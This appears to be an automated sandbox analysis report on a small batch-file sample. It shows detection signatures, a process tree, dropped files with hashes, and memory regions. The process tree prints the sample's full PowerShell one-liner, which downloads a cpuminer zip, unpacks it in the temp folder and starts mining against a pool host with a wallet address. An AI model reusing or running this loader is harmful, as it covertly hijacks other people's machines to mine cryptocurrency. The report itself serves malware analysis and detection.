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Analysis

  • max time kernel
    1792s
  • max time network
    1798s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    03/02/2024, 14:14

General

  • Target

    73u3Ito.bat

  • Size

    499B

  • MD5

    fe74bff27516829a88cfbc6f6e99646f

  • SHA1

    0c15d859211c79910b277d07e729bec7197a60cd

  • SHA256

    b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

  • SHA512

    a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2968
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1744
        • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1604

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2a5wfvre.bxw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    81KB

    MD5

    7cf46780c44a4bd4845b18664de56e77

    SHA1

    a5d4686a27b4f37064a3e35da18479a6c361c1d7

    SHA256

    0cbe6b6bc8ed0fe12fdf054dffe748410209f04a61fe783061c883a81444ceb4

    SHA512

    91cfbc22ab1c23f98db2b6afab6d9493b4273ffe141f532536724f2795f467c14ed59e7bd23569094ee39ab9c13369118a1ccfac10180ec9413f169115c894a3

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    68KB

    MD5

    fe00a54d7c7a94e213ea6543f8f1f70b

    SHA1

    9d9bf66a461f70a283a42a47b35afcd238f69bae

    SHA256

    f1660128f27bc1a832c9dd27d9cc2ea8fdeb4f22067c7795c7211823fc193f03

    SHA512

    68c66a8932cfff755a7f0c740b48061150c13ed050f1c9ef10a4f116e8295a8070d10eb6326ff55d42b7fd2190830e237700feb58a5dca350230eec51b2a2bd9

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

    Filesize

    18KB

    MD5

    15f30c30cf653c6973384549897fd181

    SHA1

    9170699bc39361bd37af06adcda8093cfafb938e

    SHA256

    fc372c2913d9a2503a5c92de6457bf97066f19c321d1ecedaa7cf1b524b3a40d

    SHA512

    e601037c6fcb65c1cff8a517249b77a117712296962c5400b8c66d938b3bda0edbf511a08c00dca56b84a59b4c28f28f3f246f3af599bece488506cf69f40f37

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

    Filesize

    89KB

    MD5

    f60e64e4aace207226c6cd44c5ce1417

    SHA1

    b1cc97ad1f28e1c615e18f0b9924c4f7e54d9773

    SHA256

    a30d7c40aace0460ce9ac4051c2a97fa02252b017bcbfc1ea3fd14e6528edffb

    SHA512

    ce3e34d5cecd92065de2cee5950e48fd8df111a4b7fff2ed5c31fe0d2acb6c48fe6ca4e46401307ca305fa406990218830875c5785c9bafe730d7c34c52e2f16

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    99KB

    MD5

    8d336eb2ad180e337d4cb9d34ca522a3

    SHA1

    6d4a021f72bf025e7c4525e11e166c5c2656c03f

    SHA256

    f28e6de60a43aaed3818f21ff9e5fb7df544dbdfd490d9b2474e06856d0afa75

    SHA512

    3287b7b6c1e120959b15dd6c0a39472a30d221c34d24a035abac4c43c412c3094ab901981ab2cbadc62ed18b2e7981db2883f5633bd9bdcf78537eabda5bc5ba

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    88KB

    MD5

    fe793d79f22fd7b241eb1dde08e74699

    SHA1

    e21abc5ff58ec4c1db76dc7d58a94f9de441f71c

    SHA256

    30af16b3c9427c7f269d70b68b8c1b85b5bfaa51fd3cd12ea3a5d743bb6518fa

    SHA512

    77679cd6aeb525fcc7702b1a40baeed581549bdcd542a993f8a49a8b722fc6d2ebde4444e1446de72af86a39d0f27a348bcaa5cfc69d2f595e1452a2ce2af3f0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    70KB

    MD5

    8f911114ce1e1138adf4d6fe776901ab

    SHA1

    f6f3678f82e5144c4f1f9b2c71929d9bf4d1112f

    SHA256

    bcdd314abd05592cc6d92997fd2152a8d943f6248427bf1f68d0700c86ce557d

    SHA512

    c3cda08cc032507159b8a2739aecd6b3072613b262cf2370bc45e5e66297167a301a39f4c2b0c24fed9a6532c475c4b701dc975d975f4db15f893c27390edc7b

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    762KB

    MD5

    4f0147dc558c92e0b057e73d4f3673b6

    SHA1

    362c004d47bf93a3031e6edea4fb113d09caa273

    SHA256

    138413907104d2750a35473e7553c16c325f0bedda91761d842d6b7172d0b511

    SHA512

    cb4d28b19ddfd7a356940d4a5ba5cc75c90651acb0c07fd2ff28c35e7e62adac84a078c1f98835b596baf08fc96c84a6bec7d67dc96555a749a09db0dad88fe3

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    624KB

    MD5

    d8d26e9be4ab9e639f37df57a8c3df43

    SHA1

    383f992bb72b7ac99360ac7d75ff272eb38fc4a9

    SHA256

    0823f2a27dfee2374d705f8bd344456c4cc49da128262863b733b062bd9d4501

    SHA512

    103d2bdea7e0d06d490a0706b41e0b37a94b42c528129f9c82fef916541f089d47fcd3a999dc4c984df5f5db35f8232d691c5045fa9a78fc0e50c6703f181512

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

    Filesize

    17KB

    MD5

    5bc8d1d3fcb2cf65e6506e5cb8ee3616

    SHA1

    7d06ec2a7478f52f0a3e583162f0ab9e9fc9f37b

    SHA256

    0a88602bbcd6ef81a69c5018fadbd011bdca99ffd588281cbe788865092c3c37

    SHA512

    02997155f2e868b5b7eca732ddee911248aee4a78b1acc11e157cf728cbee9ee561435c9647e98d71002766bf7aae11862f9fb68eaec2f94d003efcefa798128

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

    Filesize

    57KB

    MD5

    07b59122b40ce7a866b54f68cf5b7ceb

    SHA1

    f95371c9234b6145bbc6ef086213c86dade22921

    SHA256

    c97fcebe672fa8f7703e7b627d248b9b87a51d8ffeb6ac1dab72cec31106ca7d

    SHA512

    9796f33345c001a51b49fce5319c0a0bfb144b37f26ba7d9c1e26a619c9e151667e2d67171be1afcdaf56b05d537a4999315d523fc98739c7f4766fb90acb0de

  • memory/1604-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1604-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1604-131-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1604-126-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1604-121-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1604-111-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1604-106-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1604-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1604-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1604-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1604-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1604-75-0x0000000000E20000-0x00000000026D5000-memory.dmp

    Filesize

    24.7MB

  • memory/1604-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1604-74-0x0000000063360000-0x00000000633F8000-memory.dmp

    Filesize

    608KB

  • memory/1604-73-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/1604-72-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/2968-58-0x00007FFFAD430000-0x00007FFFADEF1000-memory.dmp

    Filesize

    10.8MB

  • memory/2968-1-0x000001FA51C50000-0x000001FA51C60000-memory.dmp

    Filesize

    64KB

  • memory/2968-0-0x00007FFFAD430000-0x00007FFFADEF1000-memory.dmp

    Filesize

    10.8MB

  • memory/2968-19-0x000001FA6C6A0000-0x000001FA6C6B2000-memory.dmp

    Filesize

    72KB

  • memory/2968-2-0x000001FA6C470000-0x000001FA6C502000-memory.dmp

    Filesize

    584KB

  • memory/2968-8-0x000001FA6C400000-0x000001FA6C422000-memory.dmp

    Filesize

    136KB

  • memory/2968-13-0x000001FA6C3D0000-0x000001FA6C3E0000-memory.dmp

    Filesize

    64KB

  • memory/2968-14-0x000001FA6C720000-0x000001FA6C82E000-memory.dmp

    Filesize

    1.1MB

  • memory/2968-15-0x000001FA6C430000-0x000001FA6C446000-memory.dmp

    Filesize

    88KB

  • memory/2968-16-0x00007FFFAD430000-0x00007FFFADEF1000-memory.dmp

    Filesize

    10.8MB

  • memory/2968-18-0x000001FA51C50000-0x000001FA51C60000-memory.dmp

    Filesize

    64KB

  • memory/2968-20-0x000001FA6C450000-0x000001FA6C45A000-memory.dmp

    Filesize

    40KB